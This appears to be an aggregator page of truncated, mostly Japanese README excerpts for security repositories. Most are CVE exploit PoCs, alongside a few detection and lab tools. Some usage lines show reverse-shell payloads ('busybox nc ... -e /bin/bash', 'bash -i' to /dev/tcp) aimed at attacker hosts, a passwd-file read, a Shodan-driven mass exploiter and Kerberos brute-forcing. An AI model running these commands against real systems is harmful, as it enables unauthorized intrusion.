CVE-2019-11510

CVE-2019-11510 Pulse Secure SSL VPN の任意ファイル読み取り CVE-2019-11510 のエクスプロイト 単一のドメイン、またはドメインのリストを使用できます。ドメインの前に https:// を含める必要があります。 使用法 : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/ エクスプロイトを検証して /etc/passwd をダウンロードするだけの場合は、次を使用します : cat...

CVE-2023-25136_POC

CVE-2023-25136 POC OpenSSH 9.1～9.2に影響を与えるPre Auth Double Free脆弱性のPOC 必要なライブラリ 以下の依存関係がインストールされていることを確認してください: Python 3 当然 termcolor argparse fabric 付属のrequirements.txtファイルからpipを使用してこれらのライブラリを直接インストールすることもできます。 python3 -m pip install -r requirements.txt 使い方:...

credactor

Credactor 秘密を発見し、修正し、クリーンにコミットする。 シークレットスキャナは警告を発するのは得意だが、その問題を解決するのはあまり得意ではない。漏洩した認証情報のリストを渡して、後始末はあなたに任せる。Credactor はこのループを閉じる。ハードコードされた秘密を発見し、その場で書き換えるので、漏洩は検出から修正まで1つのコマンドで完了する。 認証情報をソースコードに含めないことは、オプションではなく基本的なセキュリティプラクティスである。Credactor はその基本を低コストで維持できるようにする。コミット前のあなたのマシン上でも、マージ前の CI...

CVE-2022-25260

CVE-2022-25260 JetBrains Hub 事前認証セミブラインドサーバーサイドリクエストフォージェリ SSRF 必要条件 JetBrains Hub 2021.1.14276 2021.1.14276 より前の JetBrains Hub は不適切なアクセス制御の脆弱性 CVE-2022-34894 の影響を受け、ゲストユーザーが無効になっていても攻撃者が認証なしで信頼できないサービスを作成できました。これにより、他の要件なしでこの脆弱性を悪用することが可能になります（通常、攻撃者は少なくとも認証されている必要があります）。 使用方法 インストールと実行： $ git...

sigma-cli

Sigma コマンドラインインターフェース これは、pySigma ライブラリを使用して Sigma ルールを管理、一覧表示、およびクエリ言語に変換する Sigma コマンドラインインターフェースです。 はじめに インストール Sigma CLI をインストールする最も簡単な方法は、 pipx または pip を使用することです。このためには、次のいずれかを実行します: python -m pipx install sigma-cli python -m pip install sigma-cli macOS では次のコマンドを使用します: python3 -m pip install...

CVE-2025-24893

CVE-2025-24893 XWiki の 15.10.11、16.4.1、16.5.0RC1 より前のバージョンに対するリモートコード実行エクスプロイト。 使用方法 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 倫理的な目的にのみ使用してください :...

CVE-2026-63030-Wp2Shell

CVE-2026-63030 wp2shell — WordPressコアの事前認証RCE REST APIバッチルートの混乱とCVE-2026-60137 SQLインジェクションの連鎖 要約 — 未認証の攻撃者が、WordPress REST APIのバッチルーティングのバグと、WPQueryのSQLインジェクションを連鎖させ、標準のWordPress環境（プラグイン不要、アカウント不要、ユーザー操作不要）で完全なリモートコード実行を達成できます。この脆弱性はAdam Kues（Assetnote / Searchlight Cyber）氏によって発見され、wp2shell...

Mass-exploit-CVE-2022-29464

ニャーニャーニャー！ WSO2 Carbon Server のPython PoCに基づいた大量エクスプロイトです CVE-2022-29464 認証前RCEバグ CVE-2022-29464. ニャーニャーニャー？必要なもの？ Python3 Shodan Zoomeye 頭脳 このツールは何ですか？ これは、第三者によってPythonで書かれたPoCに基づいた、CVE-2022-29464の大量自動スキャンエクスプロイトです。 Pyファイルは利用可能で読み取り可能です。また、エンコードされた文字列を含まないbashスクリプトも参照してください。...

ike-scan

ike-scan Discover and fingerprint IKE hosts IPsec VPN Servers Table of Contents Building and Installing Overview Usage Implementation Details Host Input and Memory Requirements Rate Limiting Cookie Generation and Remote Host Identification IKE Packet Details Backoff Fingerprinting Program Output...

ike-scan

ike-scan IKEホスト（IPsec VPNサーバ）の発見とフィンガープリント取得 目次 ビルドとインストール 概要 使い方 実装の詳細 ホスト入力とメモリ要件 レート制限 クッキー生成とリモートホスト識別 IKEパケットの詳細 バックオフフィンガープリント プログラムの出力 例 対応プラットフォーム 参考資料とRFC 連絡先 ビルドとインストール ike-scanは標準のGNU autoconfおよびautomakeツールを使用しているため、インストールは通常の手順となります。 git clone https://github.com/royhills/ike-scan.git...

IF-Guide

IF-Guide：影响函数引导的大语言模型去毒化 NeurIPS 2025 本仓库包含 IF-Guide 的代码，这是我们在论文中提出的大语言模型去毒化技术： IF-Guide：影响函数引导的大语言模型去毒化 Zachary Coalson , Juhan Bae, Nicholas Carlini, Sanghyun Hong TL;DR 您可以使用我们的方法，通过识别有害的训练样本并在预训练或微调期间抑制它们，来对大语言模型进行去毒化！ 摘要...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2024-27198-RCE

サイバースペースマッピングダーク Fofa app="JETBRAINS-TeamCity" ZoomEye app:"JetBrains TeamCity" Hunter.how product.name="TeamCity" Shodan http.component:"teamcity" 使用方法 私はPython3.9を使用しています。 pip install requests urllib3 python CVE-2024-27198-RCE.py -h | | / | | \ / | | | |/ / | ' | | | | | | | | | | | | | | | | /...

CVE-2026-23918

CVE-2026-23918 Apache httpd の modhttp2 ストリームクリーンアップにおける double-free により、認証前の RCE が可能になります。 影響を受けるバージョン: modhttp2 とマルチスレッド MPM event/worker を使用する httpd 2.4.66。 修正版: 2.4.67。 発見・報告者: Bartlomiej Dmitruk striga.ai および Stanislaw Strzalkowski isec.pl。 詳細解説:...

kerbrute

Kerbrute A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication Grab the latest binaries from the releases page to get started. Background This tool grew out of some bash scripts I wrote a few years ago to perform bruteforcing using the...

kerbrute

Kerbrute Kerberos 事前認証を利用して、有効な Active Directory アカウントを高速にブルートフォースおよび列挙するためのツール 最新のバイナリは リリースページ から入手して始めてください。 背景 このツールは、数年前に Heimdal Kerberos クライアントを Linux から使ってブルートフォースを行うために作成した bash スクリプト から発展しました。Kerberos クライアントをインストールする権限を必要としないものを作りたいと考えていたところ、純粋な Go 実装の Kerberos ライブラリ gokrb5 に出会い、ついに Go...

oversight

Oversight v0.5.8 Oversight は、シェルスクリプトやコマンドがシステムに影響を及ぼす前に監査するために設計された、ターミナルベースのセキュリティインテリジェンスツールです。「盲目的な信頼」と「手動監査」の間を埋めるもので、ローカルファイルと Raw URL を介したリモートスクリプトの両方を高速かつ対話的に分析します。 Oversight Live AUR Update Screenshot 1 Screenshot 2 ミッション...

CVE-2025-34299-lab

CVE-2025-34299 テスト環境 CVE-2025-34299のDockerテスト環境 - Monsta FTPの事前認証なしリモートコード実行脆弱性。 脆弱性の詳細 フィールド| 値 ---|--- CVE ID| CVE-2025-34299 深刻度| 緊急 CVSS 9.8 CWE| CWE-434 危険なタイプのファイルの無制限アップロード 影響を受けるバージョン| = 2.11.2 修正バージョン| 2.11.3 KEV| はい 説明 Monsta FTP バージョン 2.11.2...

ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC これは、Apache ofbizアプリケーション wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar DNS POC RCE POC 以下のツイートが非常に役立ちました: https://twitter.com/Siebene7/status/1731870759130427726 https://twitter.com/0xf4n9x/status/1732289811665559775 このエクスプロイトは...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support 事前認証RCE PoC !WARNING このスクリプトは教育および研究目的のみ を意図しています。明示的な許可 なしにシステムに対して使用しないでください。不正アクセスやテストは違法かつ非倫理的です。このスクリプトを使用する前に完全な免責事項をお読みください。 概要 このスクリプトは、BeyondTrust Remote Support RS および Privileged Remote Access PRA に影響する重大なコマンドインジェクションの脆弱性 CVE-2026-1731...